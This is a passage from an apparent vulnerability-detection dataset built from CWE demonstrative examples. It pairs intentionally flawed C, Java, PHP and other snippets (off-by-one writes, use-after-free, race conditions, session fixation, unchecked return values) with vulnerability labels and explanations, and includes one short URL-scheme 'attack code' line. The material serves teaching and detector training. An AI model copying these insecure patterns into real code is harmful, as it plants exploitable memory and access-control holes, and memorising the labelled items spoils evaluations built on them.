  "explanation": "In this example, the code does not account for the terminating null character, and it writes one byte beyond the end of the buffer.The first call to strncat() appends up to 20 characters plus a terminating null character to fullname[]. There is plenty of allocated space for this, and there is no weakness associated with this first call. However, the second call to strncat() potentially appends another 20 characters. The code does not account for the terminating null character that is automatically added by strncat(). This terminating null character would be written one byte beyond the end of the fullname[] buffer. Therefore an off-by-one error exists with the second strncat() call, as the third argument should be 19.When using a function like strncat() one must leave a free byte at the end of the buffer for a terminating null character, thus avoiding the off-by-one weakness. Additionally, the last argument to strncat() is the number of characters to append, which must be less than the remaining space in the buffer. Be careful not to just use the total size of the buffer."
}
{
  "source": [
    "#define PATH_SIZE 60\nchar filename[PATH_SIZE];\nfor(i=0; i<=PATH_SIZE; i++) {\n\nchar c = getc();if (c == 'EOF') {filename[i] = '\\0';}\nfilename[i] = getc();\n}",
    "for(i=0; i<PATH_SIZE; i++) {..."
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    },
    {
      "vul_flag": 0,
      "language": "C"
    }
  ],
  "cwe_id": "CWE-193",
  "example_id": "3",
  "explanation": "The Off-by-one error can also be manifested when reading characters from a character array within a for loop that has an incorrect continuation condition.In this case, the correct continuation condition is shown below."
}
{
  "source": [
    "int setFilename(char *filename) {char name[20];sprintf(name, \"%16s.dat\", filename);int success = saveFormattedFilenameToDB(name);return success;}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    }
  ],
  "cwe_id": "CWE-193",
  "example_id": "4",
  "explanation": "As another example the Off-by-one error can occur when using the sprintf library function to copy a string variable to a formatted string variable and the original string variable comes from an untrusted source. As in the following example where a local function, setFilename is used to store the value of a filename to a database but first uses sprintf to format the filename. The setFilename function includes an input parameter with the name of the file that is used as the copy source in the sprintf function. The sprintf function will copy the file name to a char array of size 20 and specifies the format of the new variable as 16 characters followed by the file extension .dat.However this will cause an Off-by-one error if the original filename is exactly 16 characters or larger because the format of 16 characters with the file extension is exactly 20 characters and does not take into account the required null terminator that will be placed at the end of the string."
}
{
  "source": [
    "char* ptr = (char*)malloc (SIZE);if (err) {abrt = 1;free(ptr);}...if (abrt) {logError(\"operation aborted before commit\", ptr);}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    }
  ],
  "cwe_id": "CWE-672",
  "example_id": "1",
  "explanation": "The following code shows a simple example of a use after free error:When an error occurs, the pointer is immediately freed. However, this pointer is later incorrectly used in the logError function."
}
{
  "source": [
    "char* ptr = (char*)malloc (SIZE);...if (abrt) {free(ptr);}...free(ptr);"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    }
  ],
  "cwe_id": "CWE-672",
  "example_id": "2",
  "explanation": "The following code shows a simple example of a double free error:Double free vulnerabilities have two common (and sometimes overlapping) causes:\n\n\nError conditions and other exceptional circumstances\n\n\nConfusion over which part of the program is responsible for freeing the memory\n\n\nAlthough some double free vulnerabilities are not much more complicated than the previous example, most are spread out across hundreds of lines of code or even different files. Programmers seem particularly susceptible to freeing global variables more than once."
}
{
  "source": [
    "#define FAIL 0#define SUCCESS 1#define ERROR -1#define MAX_MESSAGE_SIZE 32\nint processMessage(char **message){\nint result = SUCCESS;\nint length = getMessageLength(message[0]);char *messageBody;\nif ((length > 0) && (length < MAX_MESSAGE_SIZE)) {\n\nmessageBody = (char*)malloc(length*sizeof(char));messageBody = &message[1][0];\nint success = processMessageBody(messageBody);\nif (success == ERROR) {result = ERROR;free(messageBody);}\n}else {printf(\"Unable to process message; invalid message length\");result = FAIL;}\nif (result == ERROR) {logError(\"Error processing message\", messageBody);}\nreturn result;\n}",
    "...messageBody = (char*)malloc(length*sizeof(char));messageBody = &message[1][0];\nint success = processMessageBody(messageBody);\nif (success == ERROR) {result = ERROR;logError(\"Error processing message\", messageBody);free(messageBody);}..."
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    },
    {
      "vul_flag": 0,
      "language": "C"
    }
  ],
  "cwe_id": "CWE-672",
  "example_id": "3",
  "explanation": "In the following C/C++ example the method processMessage is used to process a message received in the input array of char arrays. The input message array contains two char arrays: the first is the length of the message and the second is the body of the message. The length of the message is retrieved and used to allocate enough memory for a local char array, messageBody, to be created for the message body. The messageBody is processed in the method processMessageBody that will return an error if an error occurs while processing. If an error occurs then the return result variable is set to indicate an error and the messageBody char array memory is released using the method free and an error message is sent to the logError method.However, the call to the method logError includes the messageBody after the memory for messageBody has been released using the free method. This can cause unexpected results and may lead to system crashes. A variable should never be used after its memory resources have been released."
}
{
  "source": [
    "IntentFilter filter = new IntentFilter(\"com.example.RemoveUser\");MyReceiver receiver = new MyReceiver();registerReceiver(receiver, filter);\npublic class DeleteReceiver extends BroadcastReceiver {@Overridepublic void onReceive(Context context, Intent intent) {int userID = intent.getIntExtra(\"userID\");destroyUserData(userID);}}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Java"
    }
  ],
  "cwe_id": "CWE-346",
  "example_id": "1",
  "explanation": "This Android application will remove a user account when it receives an intent to do so:This application does not check the origin of the intent, thus allowing any malicious application to remove a user. Always check the origin of an intent, or create an allowlist of trusted applications using the manifest.xml file."
}
{
  "source": [
    "// Android\n@Overridepublic boolean shouldOverrideUrlLoading(WebView view, String url){\nif (url.substring(0,14).equalsIgnoreCase(\"examplescheme:\")){if(url.substring(14,25).equalsIgnoreCase(\"getUserInfo\")){writeDataToView(view, UserData);return false;}else{return true;}}\n}",
    "// iOS\n-(BOOL) webView:(UIWebView *)exWebView shouldStartLoadWithRequest:(NSURLRequest *)exRequest navigationType:(UIWebViewNavigationType)exNavigationType{\nNSURL *URL = [exRequest URL];if ([[URL scheme] isEqualToString:@\"exampleScheme\"]){\nNSString *functionString = [URL resourceSpecifier];if ([functionString hasPrefix:@\"specialFunction\"]){\n\n\n// Make data available back in webview.\nUIWebView *webView = [self writeDataToView:[URL query]];\n}return NO;\n}return YES;\n}",
    "window.location = examplescheme://method?parameter=value"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Java"
    },
    {
      "vul_flag": 1,
      "language": "Objective-C"
    },
    {
      "vul_flag": 0,
      "language": "(attack code) JavaScript"
    }
  ],
  "cwe_id": "CWE-346",
  "example_id": "2",
  "explanation": "These Android and iOS applications intercept URL loading within a WebView and perform special actions if a particular URL scheme is used, thus allowing the Javascript within the WebView to communicate with the application:A call into native code can then be initiated by passing parameters within the URL:Because the application does not check the source, a malicious website loaded within this WebView has the same access to the API as a trusted site."
}
{
  "source": [
    "int getValueFromArray(int *array, int len, int index) {\n\nint value;\n\n// check that the array index is less than the maximum\n\n\n// length of the array\nif (index < len) {\n\n\n// get the value at the specified index of the array\nvalue = array[index];\n}\n// if array index is invalid then output error message\n\n\n// and return value indicating error\nelse {printf(\"Value is: %d\\n\", array[index]);value = -1;}\nreturn value;\n}",
    "...\n\n// check that the array index is within the correct\n\n\n// range of values for the array\nif (index >= 0 && index < len) {\n..."
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    },
    {
      "vul_flag": 0,
      "language": "C"
    }
  ],
  "cwe_id": "CWE-125",
  "example_id": "1",
  "explanation": "In the following code, the method retrieves a value from an array at a specific array index location that is given as an input parameter to the methodHowever, this method only verifies that the given array index is less than the maximum length of the array but does not check for the minimum value (CWE-839). This will allow a negative value to be accepted as the input array index, which will result in a out of bounds read (CWE-125) and may allow access to sensitive memory. The input array index should be checked to verify that is within the maximum and minimum range required for the array (CWE-129). In this example the if statement should be modified to include a minimum range check, as shown below."
}
{
  "source": [
    "int id_sequence[3];\n/* Populate the id array. */\nid_sequence[0] = 123;id_sequence[1] = 234;id_sequence[2] = 345;id_sequence[3] = 456;"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    }
  ],
  "cwe_id": "CWE-787",
  "example_id": "1",
  "explanation": "The following code attempts to save four different identification numbers into an array.Since the array is only allocated to hold three elements, the valid indices are 0 to 2; so, the assignment to id_sequence[3] is out of bounds."
}
{
  "source": [
    "int returnChunkSize(void *) {\n\n\n/* if chunk info is valid, return the size of usable memory,\n\n\n* else, return -1 to indicate an error\n\n\n*/\n...\n}int main() {...memcpy(destBuf, srcBuf, (returnChunkSize(destBuf)-1));...}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    }
  ],
  "cwe_id": "CWE-787",
  "example_id": "2",
  "explanation": "In the following code, it is possible to request that memcpy move a much larger segment of memory than assumed:If returnChunkSize() happens to encounter an error it will return -1. Notice that the return value is not checked before the memcpy operation (CWE-252), so -1 can be passed as the size argument to memcpy() (CWE-805). Because memcpy() assumes that the value is unsigned, it will be interpreted as MAXINT-1 (CWE-195), and therefore will copy far more memory than is likely available to the destination buffer (CWE-787, CWE-788)."
}
{
  "source": [
    "void host_lookup(char *user_supplied_addr){\nstruct hostent *hp;in_addr_t *addr;char hostname[64];in_addr_t inet_addr(const char *cp);\n\n/*routine that ensures user_supplied_addr is in the right format for conversion */\n\nvalidate_addr_form(user_supplied_addr);addr = inet_addr(user_supplied_addr);hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);strcpy(hostname, hp->h_name);\n}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    }
  ],
  "cwe_id": "CWE-787",
  "example_id": "3",
  "explanation": "This code takes an IP address from the user and verifies that it is well formed. It then looks up the hostname and copies it into a buffer.This function allocates a buffer of 64 bytes to store the hostname. However, there is no guarantee that the hostname will not be larger than 64 bytes. If an attacker specifies an address which resolves to a very large hostname, then the function may overwrite sensitive data or even relinquish control flow to the attacker.Note that this example also contains an unchecked return value (CWE-252) that can lead to a NULL pointer dereference (CWE-476)."
}
{
  "source": [
    "char * copy_input(char *user_supplied_string){\nint i, dst_index;char *dst_buf = (char*)malloc(4*sizeof(char) * MAX_SIZE);if ( MAX_SIZE <= strlen(user_supplied_string) ){die(\"user string too long, die evil hacker!\");}dst_index = 0;for ( i = 0; i < strlen(user_supplied_string); i++ ){\nif( '&' == user_supplied_string[i] ){dst_buf[dst_index++] = '&';dst_buf[dst_index++] = 'a';dst_buf[dst_index++] = 'm';dst_buf[dst_index++] = 'p';dst_buf[dst_index++] = ';';}else if ('<' == user_supplied_string[i] ){\n\n\n/* encode to &lt; */\n\n\n}else dst_buf[dst_index++] = user_supplied_string[i];\n}return dst_buf;\n}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    }
  ],
  "cwe_id": "CWE-787",
  "example_id": "4",
  "explanation": "This code applies an encoding procedure to an input string and stores it into a buffer.The programmer attempts to encode the ampersand character in the user-controlled string. However, the length of the string is validated before the encoding procedure is applied. Furthermore, the programmer assumes encoding expansion will only expand a given character by a factor of 4, while the encoding of the ampersand expands by 5. As a result, when the encoding procedure expands the string it is possible to overflow the destination buffer if the attacker provides a string of many ampersands."
}
{
  "source": [
    "char* trimTrailingWhitespace(char *strMessage, int length) {\nchar *retMessage;char *message = malloc(sizeof(char)*(length+1));\n\n// copy input string to a temporary string\nchar message[length+1];int index;for (index = 0; index < length; index++) {message[index] = strMessage[index];}message[index] = '\\0';\n\n// trim trailing whitespace\nint len = index-1;while (isspace(message[len])) {message[len] = '\\0';len--;}\n\n// return string without trailing whitespace\nretMessage = message;return retMessage;\n}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    }
  ],
  "cwe_id": "CWE-787",
  "example_id": "5",
  "explanation": "In the following C/C++ code, a utility function is used to trim trailing whitespace from a character string. The function copies the input string to a local character string and uses a while statement to remove the trailing whitespace by moving backward through the string and overwriting whitespace with a NUL character.However, this function can cause a buffer underwrite if the input character string contains all whitespace. On some systems the while statement will move backwards past the beginning of a character string and will call the isspace() function on an address outside of the bounds of the local buffer."
}
{
  "source": [
    "int i;unsigned int numWidgets;Widget **WidgetList;\nnumWidgets = GetUntrustedSizeValue();if ((numWidgets == 0) || (numWidgets > MAX_NUM_WIDGETS)) {ExitError(\"Incorrect number of widgets requested!\");}WidgetList = (Widget **)malloc(numWidgets * sizeof(Widget *));printf(\"WidgetList ptr=%p\\n\", WidgetList);for(i=0; i<numWidgets; i++) {WidgetList[i] = InitializeWidget();}WidgetList[numWidgets] = NULL;showWidgets(WidgetList);"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    }
  ],
  "cwe_id": "CWE-787",
  "example_id": "6",
  "explanation": "The following code allocates memory for a maximum number of widgets. It then gets a user-specified number of widgets, making sure that the user does not request too many. It then initializes the elements of the array using InitializeWidget(). Because the number of widgets can vary for each request, the code inserts a NULL pointer to signify the location of the last widget.However, this code contains an off-by-one calculation error (CWE-193). It allocates exactly enough space to contain the specified number of widgets, but it does not include the space for the NULL pointer. As a result, the allocated buffer is smaller than it is supposed to be (CWE-131). So if the user ever requests MAX_NUM_WIDGETS, there is an out-of-bounds write (CWE-787) when the NULL is assigned. Depending on the environment and compilation settings, this could cause memory corruption."
}
{
  "source": [
    "int main() {...strncpy(destBuf, &srcBuf[find(srcBuf, ch)], 1024);...}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    }
  ],
  "cwe_id": "CWE-787",
  "example_id": "7",
  "explanation": "The following code may result in a buffer underwrite, if find() returns a negative value to indicate that ch is not found in srcBuf:If the index to srcBuf is somehow under user control, this is an arbitrary write-what-where condition."
}
{
  "source": [
    "String email = request.getParameter(\"email_address\");assert email != null;"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Java"
    }
  ],
  "cwe_id": "CWE-617",
  "example_id": "1",
  "explanation": "In the excerpt below, an AssertionError (an unchecked exception) is thrown if the user hasn't entered an email address in an HTML form."
}
{
  "source": [
    "char **ap, *argv[10], *inputstring;for (ap = argv; (*ap = strsep(&inputstring, \" \\t\")) != NULL;)\nif (**ap != '\\0')if (++ap >= &argv[10])break;\n\n\n\n/.../free(ap[4]);"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    }
  ],
  "cwe_id": "CWE-763",
  "example_id": "1",
  "explanation": "This code attempts to tokenize a string and place it into an array using the strsep function, which inserts a \\0 byte in place of whitespace or a tab character. After finishing the loop, each string in the AP array points to a location within the input string.Since strsep is not allocating any new memory, freeing an element in the middle of the array is equivalent to free a pointer in the middle of inputstring."
}
{
  "source": [
    "void foo(){\nBarObj *ptr = new BarObj()\n/* do some work with ptr here */\n\n...\nfree(ptr);\n}",
    "void foo(){\nBarObj *ptr = new BarObj()\n/* do some work with ptr here */\n\n...\ndelete ptr;\n}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C++"
    },
    {
      "vul_flag": 0,
      "language": "C++"
    }
  ],
  "cwe_id": "CWE-763",
  "example_id": "2",
  "explanation": "This example allocates a BarObj object using the new operator in C++, however, the programmer then deallocates the object using free(), which may lead to unexpected behavior.Instead, the programmer should have either created the object with one of the malloc family functions, or else deleted the object with the delete operator."
}
{
  "source": [
    "#define SUCCESS (1)#define FAILURE (0)\nint contains_char(char c){\nchar *str;str = (char*)malloc(20*sizeof(char));strcpy(str, \"Search Me!\");while( *str != NULL){\nif( *str == c ){\n\n\n/* matched char, free string and return success */\nfree(str);return SUCCESS;\n}\n/* didn't match yet, increment pointer and try next char */\n\nstr = str + 1;\n}\n/* we did not match the char in the string, free mem and return failure */\n\nfree(str);return FAILURE;\n}",
    "#define SUCCESS (1)#define FAILURE (0)\nint cointains_char(char c){\nchar *str;int i = 0;str = (char*)malloc(20*sizeof(char));strcpy(str, \"Search Me!\");while( i < strlen(str) ){\nif( str[i] == c ){\n\n\n/* matched char, free string and return success */\nfree(str);return SUCCESS;\n}\n/* didn't match yet, increment pointer and try next char */\n\ni = i + 1;\n}\n/* we did not match the char in the string, free mem and return failure */\n\nfree(str);return FAILURE;\n}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    },
    {
      "vul_flag": 0,
      "language": "C"
    }
  ],
  "cwe_id": "CWE-763",
  "example_id": "3",
  "explanation": "In this example, the programmer dynamically allocates a buffer to hold a string and then searches for a specific character. After completing the search, the programmer attempts to release the allocated memory and return SUCCESS or FAILURE to the caller. Note: for simplification, this example uses a hard-coded \"Search Me!\" string and a constant string length of 20.However, if the character is not at the beginning of the string, or if it is not in the string at all, then the pointer will not be at the start of the buffer when the programmer frees it.Instead of freeing the pointer in the middle of the buffer, the programmer can use an indexing pointer to step through the memory or abstract the memory calculations by using array indexing."
}
{
  "source": [
    "//hardcode input length for simplicity\nchar* input = (char*) malloc(40*sizeof(char));char *tok;char* sep = \" \\t\";\nget_user_input( input );\n\n/* The following loop will parse and process each token in the input string */\n\ntok = strtok( input, sep);while( NULL != tok ){\nif( isMalformed( tok ) ){\n\n\n/* ignore and discard bad data */\nfree( tok );\n}else{add_to_command_queue( tok );}tok = strtok( NULL, sep));\n}",
    "//hardcode input length for simplicity\nchar* input = (char*) malloc(40*sizeof(char));char *tok, *command;char* sep = \" \\t\";\nget_user_input( input );\n\n/* The following loop will parse and process each token in the input string */\n\ntok = strtok( input, sep);while( NULL != tok ){\nif( !isMalformed( command ) ){\n\n\n/* copy and enqueue good data */\ncommand = (char*) malloc( (strlen(tok) + 1) * sizeof(char) );strcpy( command, tok );add_to_command_queue( command );\n}tok = strtok( NULL, sep));\n}\nfree( input )"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    },
    {
      "vul_flag": 0,
      "language": "C"
    }
  ],
  "cwe_id": "CWE-763",
  "example_id": "4",
  "explanation": "Consider the following code in the context of a parsing application to extract commands out of user data. The intent is to parse each command and add it to a queue of commands to be executed, discarding each malformed entry.While the above code attempts to free memory associated with bad commands, since the memory was all allocated in one chunk, it must all be freed together.One way to fix this problem would be to copy the commands into a new memory location before placing them in the queue. Then, after all commands have been processed, the memory can safely be freed."
}
{
  "source": [
    "Cookie[] cookies = request.getCookies();for (int i =0; i< cookies.length; i++) {Cookie c = cookies[i];if (c.getName().equals(\"role\")) {userRole = c.getValue();}}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Java"
    }
  ],
  "cwe_id": "CWE-565",
  "example_id": "1",
  "explanation": "The following code excerpt reads a value from a browser cookie to determine the role of the user.It is easy for an attacker to modify the \"role\" value found in the locally stored cookie, allowing privilege escalation."
}
{
  "source": [
    "private void auth(LoginContext lc, HttpSession session) throws LoginException {...lc.login();...}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Java"
    }
  ],
  "cwe_id": "CWE-384",
  "example_id": "1",
  "explanation": "The following example shows a snippet of code from a J2EE web application where the application authenticates users with LoginContext.login() without first calling HttpSession.invalidate().In order to exploit the code above, an attacker could first create a session (perhaps by logging into the application) from a public terminal, record the session identifier assigned by the application, and reset the browser to the login page. Next, a victim sits down at the same public terminal, notices the browser open to the login page of the site, and enters credentials to authenticate against the application. The code responsible for authenticating the victim continues to use the pre-existing session identifier, now the attacker simply uses the session identifier recorded earlier to access the victim's active session, providing nearly unrestricted access to the victim's account for the lifetime of the session. Even given a vulnerable application, the success of the specific attack described here is dependent on several factors working in the favor of the attacker: access to an unmonitored public terminal, the ability to keep the compromised session active and a victim interested in logging into the vulnerable application on the public terminal.In most circumstances, the first two challenges are surmountable given a sufficient investment of time. Finding a victim who is both using a public terminal and interested in logging into the vulnerable application is possible as well, so long as the site is reasonably popular. The less well known the site is, the lower the odds of an interested victim using the public terminal and the lower the chance of success for the attack vector described above. The biggest challenge an attacker faces in exploiting session fixation vulnerabilities is inducing victims to authenticate against the vulnerable application using a session identifier known to the attacker.In the example above, the attacker did this through a direct method that is not subtle and does not scale suitably for attacks involving less well-known web sites. However, do not be lulled into complacency; attackers have many tools in their belts that help bypass the limitations of this attack vector. The most common technique employed by attackers involves taking advantage of cross-site scripting or HTTP response splitting vulnerabilities in the target site [12]. By tricking the victim into submitting a malicious request to a vulnerable application that reflects JavaScript or other code back to the victim's browser, an attacker can create a cookie that will cause the victim to reuse a session identifier controlled by the attacker. It is worth noting that cookies are often tied to the top level domain associated with a given URL. If multiple applications reside on the same top level domain, such as bank.example.com and recipes.example.com, a vulnerability in one application can allow an attacker to set a cookie with a fixed session identifier that will be used in all interactions with any application on the domain example.com [29]."
}
{
  "source": [
    "<form method=\"POST\" action=\"j_security_check\"><input type=\"text\" name=\"j_username\"><input type=\"text\" name=\"j_password\"></form>"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "HTML"
    }
  ],
  "cwe_id": "CWE-384",
  "example_id": "2",
  "explanation": "The following example shows a snippet of code from a J2EE web application where the application authenticates users with a direct post to the <code>j_security_check</code>, which typically does not invalidate the existing session before processing the login request."
}
{
  "source": [
    "struct stat *sb;...lstat(\"...\",sb); // it has not been updated since the last time it was readprintf(\"stated file\\n\");if (sb->st_mtimespec==...){print(\"Now updating things\\n\");updateThings();}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    }
  ],
  "cwe_id": "CWE-367",
  "example_id": "1",
  "explanation": "The following code checks a file, then updates its contents.Potentially the file could have been updated between the time of the check and the lstat, especially since the printf has latency."
}
{
  "source": [
    "if(!access(file,W_OK)) {f = fopen(file,\"w+\");operate(f);...}else {\n\nfprintf(stderr,\"Unable to open file %s.\\n\",file);\n}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    }
  ],
  "cwe_id": "CWE-367",
  "example_id": "2",
  "explanation": "The following code is from a program installed setuid root. The program performs certain file operations on behalf of non-privileged users, and uses access checks to ensure that it does not use its root privileges to perform operations that should otherwise be unavailable the current user. The program uses the access() system call to check if the person running the program has permission to access the specified file before it opens the file and performs the necessary operations.The call to access() behaves as expected, and returns 0 if the user running the program has the necessary permissions to write to the file, and -1 otherwise. However, because both access() and fopen() operate on filenames rather than on file handles, there is no guarantee that the file variable still refers to the same file on disk when it is passed to fopen() that it did when it was passed to access(). If an attacker replaces file after the call to access() with a symbolic link to a different file, the program will use its root privileges to operate on the file even if it is a file that the attacker would otherwise be unable to modify. By tricking the program into performing an operation that would otherwise be impermissible, the attacker has gained elevated privileges. This type of vulnerability is not limited to programs with root privileges. If the application is capable of performing any operation that the attacker would not otherwise be allowed perform, then it is a possible target."
}
{
  "source": [
    "function readFile($filename){\n$user = getCurrentUser();\n\n//resolve file if its a symbolic link\nif(is_link($filename)){$filename = readlink($filename);}\nif(fileowner($filename) == $user){echo file_get_contents($realFile);return;}else{echo 'Access denied';return false;}\n}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "PHP"
    }
  ],
  "cwe_id": "CWE-367",
  "example_id": "3",
  "explanation": "This code prints the contents of a file if a user has permission.This code attempts to resolve symbolic links before checking the file and printing its contents. However, an attacker may be able to change the file from a real file to a symbolic link between the calls to is_link() and file_get_contents(), allowing the reading of arbitrary files. Note that this code fails to log the attempted access (CWE-778)."
}
{
  "source": [
    "#include <sys/types.h>\n\t\t    #include <sys/stat.h>\n\n\t\t    ...\n\n\t\t      struct stat sb;\n\t\t      stat(\"MYFILE.txt\",&sb);\n\t\t      printf(\"file change time: %d\\n\",sb->st_ctime);\n\t\t      switch(sb->st_ctime % 2){\n\t\t        case 0: printf(\"Option 1\\n\"); break;\n\t\t        case 1: printf(\"Option 2\\n\"); break;\n\t\t        default: printf(\"this should be unreachable?\\n\"); break;\n}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    }
  ],
  "cwe_id": "CWE-367",
  "example_id": "4",
  "explanation": "This example is adapted from [REF-18]. Assume that this code block is invoked from multiple threads. The switch statement will execute different code depending on the time when MYFILE.txt was last changed. If this code block were executed within multiple threads, and MYFILE.txt changed between the operation of one thread and another, then the switch could produce different, possibly unexpected results."
}
{
  "source": [
    "char buf[10], cp_buf[10];fgets(buf, 10, stdin);strcpy(cp_buf, buf);"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    }
  ],
  "cwe_id": "CWE-252",
  "example_id": "1",
  "explanation": "Consider the following code segment:The programmer expects that when fgets() returns, buf will contain a null-terminated string of length 9 or less. But if an I/O error occurs, fgets() will not null-terminate buf. Furthermore, if the end of the file is reached before any characters are read, fgets() returns without writing anything to buf. In both of these situations, fgets() signals that something unusual has happened by returning NULL, but in this code, the warning will not be noticed. The lack of a null terminator in buf can result in a buffer overflow in the subsequent call to strcpy()."
}
{
  "source": [
    "int returnChunkSize(void *) {\n\n\n/* if chunk info is valid, return the size of usable memory,\n\n\n* else, return -1 to indicate an error\n\n\n*/\n...\n}int main() {...memcpy(destBuf, srcBuf, (returnChunkSize(destBuf)-1));...}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    }
  ],
  "cwe_id": "CWE-252",
  "example_id": "2",
  "explanation": "In the following example, it is possible to request that memcpy move a much larger segment of memory than assumed:If returnChunkSize() happens to encounter an error it will return -1. Notice that the return value is not checked before the memcpy operation (CWE-252), so -1 can be passed as the size argument to memcpy() (CWE-805). Because memcpy() assumes that the value is unsigned, it will be interpreted as MAXINT-1 (CWE-195), and therefore will copy far more memory than is likely available to the destination buffer (CWE-787, CWE-788)."
}
{
  "source": [
    "buf = (char*) malloc(req_size);strncpy(buf, xfer, req_size);"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    }
  ],
  "cwe_id": "CWE-252",
  "example_id": "3",
  "explanation": "The following code does not check to see if memory allocation succeeded before attempting to use the pointer returned by malloc().The traditional defense of this coding error is: \"If my program runs out of memory, it will fail. It doesn't matter whether I handle the error or allow the program to die with a segmentation fault when it tries to dereference the null pointer.\" This argument ignores three important considerations:\n\n\nDepending upon the type and size of the application, it may be possible to free memory that is being used elsewhere so that execution can continue.\n\n\nIt is impossible for the program to perform a graceful exit if required. If the program is performing an atomic operation, it can leave the system in an inconsistent state.\n\n\nThe programmer has lost the opportunity to record diagnostic information. Did the call to malloc() fail because req_size was too large or because there were too many requests being handled at the same time? Or was it caused by a memory leak that has built up over time? Without handling the error, there is no way to know."
}
{
  "source": [
    "char[] byteArray = new char[1024];for (IEnumerator i=users.GetEnumerator(); i.MoveNext() ;i.Current()) {String userName = (String) i.Current();String pFileName = PFILE_ROOT + \"/\" + userName;StreamReader sr = new StreamReader(pFileName);sr.Read(byteArray,0,1024);//the file is always 1k bytessr.Close();processPFile(userName, byteArray);}",
    "FileInputStream fis;byte[] byteArray = new byte[1024];for (Iterator i=users.iterator(); i.hasNext();) {\nString userName = (String) i.next();String pFileName = PFILE_ROOT + \"/\" + userName;FileInputStream fis = new FileInputStream(pFileName);fis.read(byteArray); // the file is always 1k bytesfis.close();processPFile(userName, byteArray);"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C#"
    },
    {
      "vul_flag": 1,
      "language": "Java"
    }
  ],
  "cwe_id": "CWE-252",
  "example_id": "4",
  "explanation": "The following examples read a file into a byte array.The code loops through a set of users, reading a private data file for each user. The programmer assumes that the files are always 1 kilobyte in size and therefore ignores the return value from Read(). If an attacker can create a smaller file, the program will recycle the remainder of the data from the previous user and treat it as though it belongs to the attacker."
}
{
  "source": [
    "String itemName = request.getParameter(ITEM_NAME);if (itemName.compareTo(IMPORTANT_ITEM) == 0) {...}...",
    "String itemName = request.Item(ITEM_NAME);if (itemName.Equals(IMPORTANT_ITEM)) {...}..."
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Java"
    },
    {
      "vul_flag": 1,
      "language": "Java"
    }
  ],
  "cwe_id": "CWE-252",
  "example_id": "5",
  "explanation": "The following code does not check to see if the string returned by getParameter() is null before calling the member function compareTo(), potentially causing a NULL dereference.The following code does not check to see if the string returned by the Item property is null before calling the member function Equals(), potentially causing a NULL dereference.The traditional defense of this coding error is: \"I know the requested value will always exist because.... If it does not exist, the program cannot perform the desired behavior so it doesn't matter whether I handle the error or allow the program to die dereferencing a null value.\" But attackers are skilled at finding unexpected paths through programs, particularly when exceptions are involved."
}
{
  "source": [
    "System.clearProperty(\"os.name\");...String os = System.getProperty(\"os.name\");if (os.equalsIgnoreCase(\"Windows 95\")) System.out.println(\"Not supported\");"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Java"
    }
  ],
  "cwe_id": "CWE-252",
  "example_id": "6",
  "explanation": "The following code shows a system property that is set to null and later dereferenced by a programmer who mistakenly assumes it will always be defined.The traditional defense of this coding error is: \"I know the requested value will always exist because.... If it does not exist, the program cannot perform the desired behavior so it doesn't matter whether I handle the error or allow the program to die dereferencing a null value.\" But attackers are skilled at finding unexpected paths through programs, particularly when exceptions are involved."
}
{
  "source": [
    "Dim MyFile As New FileStream(\"myfile.txt\", FileMode.Open, FileAccess.Read, FileShare.Read)Dim MyArray(50) As ByteMyFile.Read(MyArray, 0, 50)DoDangerousOperation(MyArray(20))"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C#"
    }
  ],
  "cwe_id": "CWE-252",
  "example_id": "7",
  "explanation": "The following VB.NET code does not check to make sure that it has read 50 bytes from myfile.txt. This can cause DoDangerousOperation() to operate on an unexpected value.In .NET, it is not uncommon for programmers to misunderstand Read() and related methods that are part of many System.IO classes. The stream and reader classes do not consider it to be unusual or exceptional if only a small amount of data becomes available. These classes simply add the small amount of data to the return buffer, and set the return value to the number of bytes or characters read. There is no guarantee that the amount of data returned is equal to the amount of data requested."
}
{
  "source": [],
  "source_status": [],
  "cwe_id": "CWE-252",
  "example_id": "8",
  "explanation": "It is not uncommon for Java programmers to misunderstand read() and related methods that are part of many java.io classes. Most errors and unusual events in Java result in an exception being thrown. But the stream and reader classes do not consider it unusual or exceptional if only a small amount of data becomes available. These classes simply add the small amount of data to the return buffer, and set the return value to the number of bytes or characters read. There is no guarantee that the amount of data returned is equal to the amount of data requested. This behavior makes it important for programmers to examine the return value from read() and other IO methods to ensure that they receive the amount of data they expect."
}
{
  "source": [
